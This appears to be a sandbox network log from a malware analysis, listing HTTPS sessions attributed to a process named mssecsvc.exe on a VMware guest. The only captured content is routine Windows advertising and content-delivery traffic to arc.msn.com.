Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	50174	40.126.31.67	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	50547	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	50549	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	50546	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	50551	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	50762	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	50824	20.199.120.151	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	50855	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	51495	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	51580	20.199.120.151	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	51713	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	50184	40.126.31.67	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	51717	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	51759	20.199.120.182	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	51760	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	51763	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	51805	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	51808	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	51945	20.54.89.106	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	51851	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	52042	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	52038	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	50186	20.190.159.4	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	52049	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	52093	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	52089	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	52096	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	52101	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	52142	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	52141	52.242.101.226	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	52147	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	52150	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	52160	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	50202	40.126.31.67	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	52197	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	52203	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.6	52200	52.152.110.14	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	52205	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	52250	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	52251	52.152.110.14	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	52255	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	52259	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	52285	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	52320	52.242.101.226	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	50200	40.126.31.67	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	52365	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	52362	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	52410	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	52414	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	52429	52.152.110.14	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	52473	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	52573	52.242.101.226	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	52586	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	52685	20.54.89.106	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	52689	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	50201	40.126.31.67	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	52743	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	52752	52.152.110.14	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	52803	20.54.89.106	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.6	52962	52.242.101.226	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	52965	52.242.101.226	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	53317	20.199.120.151	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	53572	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	53627	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	53630	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	53637	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	50203	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	53649	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	53696	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	53700	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	53715	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	53765	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	53768	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	53785	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.6	53832	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	53836	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	53966	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	50204	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	53967	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.6	53969	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.6	54034	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.6	54035	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.6	54036	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.6	54097	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.6	54104	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.6	54105	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.6	54517	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.6	56043	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49722	20.82.209.183	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:33:35 UTC	0	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220308T162803Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=2f2508d8ee0e4bd39935ca1fc72c4a0e&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418195&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1418195&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 Cache-Control: no-cache MS-CV: PzzoHoFrrUmBy3tE.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-21 02:33:36 UTC	2	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: BuCUdFPM87abPK8bIAE9Cr0auDZfL6bzzOMuooWGXHSLImSGyKkthG1W2fd92HS/Zb4vqRdlQJx7shn3h/AOFXjKf198T8ykIUfS8cFkfTQl/xc888z2/0t9lVZ5qYddVf1jMH9ot9sMq4zxn/7JhYfZZgRXjWqu80CMAc8++vd/26hZW+0VwtE8kKIFBx9vQ2ta03FI7U9Bu7WiUjLQyaPuISvbre0SA8KcfWnTvThCrm0l8/k3ci7mhqbHHVQxhTPmmYOMuNiirH4B77zZu65GLN7MEKYrfn6npOGOsRL85SgX+7IK0oymhFoDT5woATuU7dZrsgv8zzx0QY8S8Q== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Jul 2022 02:33:35 GMT Connection: close
2022-07-21 02:33:36 UTC	3	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 31 54 30 36 3a 33 33 3a 33 36 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-21T06:33:36"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49723	20.82.209.183	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:33:35 UTC	1	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220308T162803Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=cc050c53f0274581bde15fc67e0146c6&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418195&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1418195&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 Cache-Control: no-cache MS-CV: PzzoHoFrrUmBy3tE.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-21 02:33:36 UTC	3	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=1168 Content-Length: 53753 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNCRFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6VK_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: ZJpyUX6JShxtkFrLrQMElNRgyERpc/xmvzIXK9vyFJSB9WWry2dH+xaqFbSjdsZhUOz3NhQeTVHDjcv18/ERvcjTK7XLaOJg2TWZpy2meh2Y5xmaP3xg24LfW36+HsQ7MXTAbF1nOYLmSTi1PlIWo6LW5qvk7WPtBLMlw85LOgPwIo9g4sgf8+aesaOkxnYcX1Mz2GkoeKZtx5dTysHffJJhxef2pyNYpUVx1I76NZjJfzqOmaFKdcX2bg8FqYN+NUqRQkNvOeopAYI1b2yWGuIXujMjKJvDkHhWIPj+P9qLNqcR9voVIXYboED1ldHkzxoH+LpYcGQ8qpnjbgblKA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Jul 2022 02:33:35 GMT Connection: close
2022-07-21 02:33:36 UTC	4	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"boolean\
2022-07-21 02:33:36 UTC	19	IN	Data Raw: 5c 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 39 33 31 66 61 63 63 61 33 37 62 63 34 31 64 62 39 39 31 35 30 63 63 31 36 35 62 33 63 31 64 61 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d Data Ascii: \":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startprogrammable&ccid=931facca37bc41db99150cc165b3c1da&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{}
2022-07-21 02:33:36 UTC	35	IN	Data Raw: 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 30 37 66 37 65 63 64 30 36 33 31 63 34 30 32 63 61 33 31 65 66 66 34 32 34 64 62 65 34 38 61 63 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 Data Ascii: tprogrammable&ccid=07f7ecd0631c402ca31eff424dbe48ac&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"showNameOnWideTile\":{\"bool\":true},\"sh
2022-07-21 02:33:36 UTC	51	IN	Data Raw: 61 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 46 38 62 66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 6d 61 67 65 5c 2f 61 70 70 Data Ascii: 